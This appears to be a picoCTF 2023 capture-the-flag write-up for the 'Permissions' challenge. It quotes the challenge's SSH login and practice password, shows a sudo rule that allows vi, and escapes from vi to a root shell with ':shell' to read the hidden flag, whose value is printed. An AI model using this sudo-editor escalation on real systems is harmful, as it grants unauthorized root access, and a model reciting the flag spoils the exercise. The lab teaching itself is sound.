

# Permissions

Permissions 

 | 100 points 

Tags: picoCTF 2023 General Skills vim

AUTHOR: GEOFFREY NJOGU

## Description

Can you read files in the root file?

The system admin has provisioned an account for you on the main server:

`ssh -p 64336 picoplayer@saturn.picoctf.net`

Password: `e3pn6lmvHt`

Can you login and read the root file?

This challenge launches an instance on demand.

Its current status is: **RUNNING**

Instance Time Remaining: **14:50**

[Restart Instance](#)

Hints 

1

12,911 users solved

 67% Liked 

 picoCTF{FLAG}

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Permissions challenge

In this challenge, we're tasked to read files in the root

```
prompt] [ + timeout] [ + user] file ...
picoplayer@challenge:~$ sudo -l
[sudo] password for picoplayer:
Matching Defaults entries for picoplayer on challenge:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User picoplayer may run the following commands on challenge:
(ALL) /usr/bin/vi
```

Upon entering we can see that we're allowed to use vi. A thing we can do is run this vi command as root by calling vi but with sudo (sudo is important because currently you're not root and if you want it as root sudo is needed)

**picoGym Practice Challenges**

**Permissions**

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**Description**

Can you read files in the root file?

The system admin has provisioned an account for you on the main server:

```
ssh -p 55750 picoplayer@saturn.picoctf.net
```

Password: `e3pn6lmvHt`

Can you login and read the root file?

---

12,911 users solved

67% Liked

Search

6 solves 94%

```

picoplayer@challenge: ~
File Actions Edit View Help

~ | 100 points ✕

VIM - Vi IMproved
version 8.1.3741
by Bram Moolenaar et al.
Modified by team+vim@tracker.debian.org
Vim is open source and freely distributable

Sponsor Vim development!
type :help sponsor<Enter> for information

type :q<Enter> to exit
type :help<Enter> or <F1> for on-line help
type :help version8<Enter> for version info

~
:shell

```

We can then call the shell again using the command mode. The difference we're currently is vi as root so if we call a shell it's going to call the root shell.

```
File Actions Edit View Help
root@challenge:/# ls
bin  challenge  etc  lib  lib64  media  opt  root  sbin  sys  usr
boot dev  home  lib32  libx32  mnt  proc  run  srv  tmp  var
root@challenge:/# cd r
root/ run/
root@challenge:/# cd r
root/ run/
root@challenge:/# cd r
root/ run/
root@challenge:/# cd r
root/ run/
root@challenge:/# cd root/
root@challenge:~# ls
root@challenge:~# ls -la
total 20
drwx----- 1 root root  43 May  1 07:29 .
drwxr-xr-x 1 root root  63 May  1 07:21 ..
-rw----- 1 root root   5 May  1 07:29 .bash_history
-rw-r--r-- 1 root root 3106 Dec  5 2019 .bashrc
-rw-r--r-- 1 root root   35 Aug  4 2023 .flag.txt
-rw-r--r-- 1 root root  161 Dec  5 2019 .profile
-rw----- 1 root root  588 May  1 07:29 .viminfo
root@challenge:~# cat .flag.txt
picoCTF{uS1ng_v1m_3dit0r_f6ad392b}
root@challenge:~#
```

Go back to the / folder and go to root directory, there is a hidden file for the flag.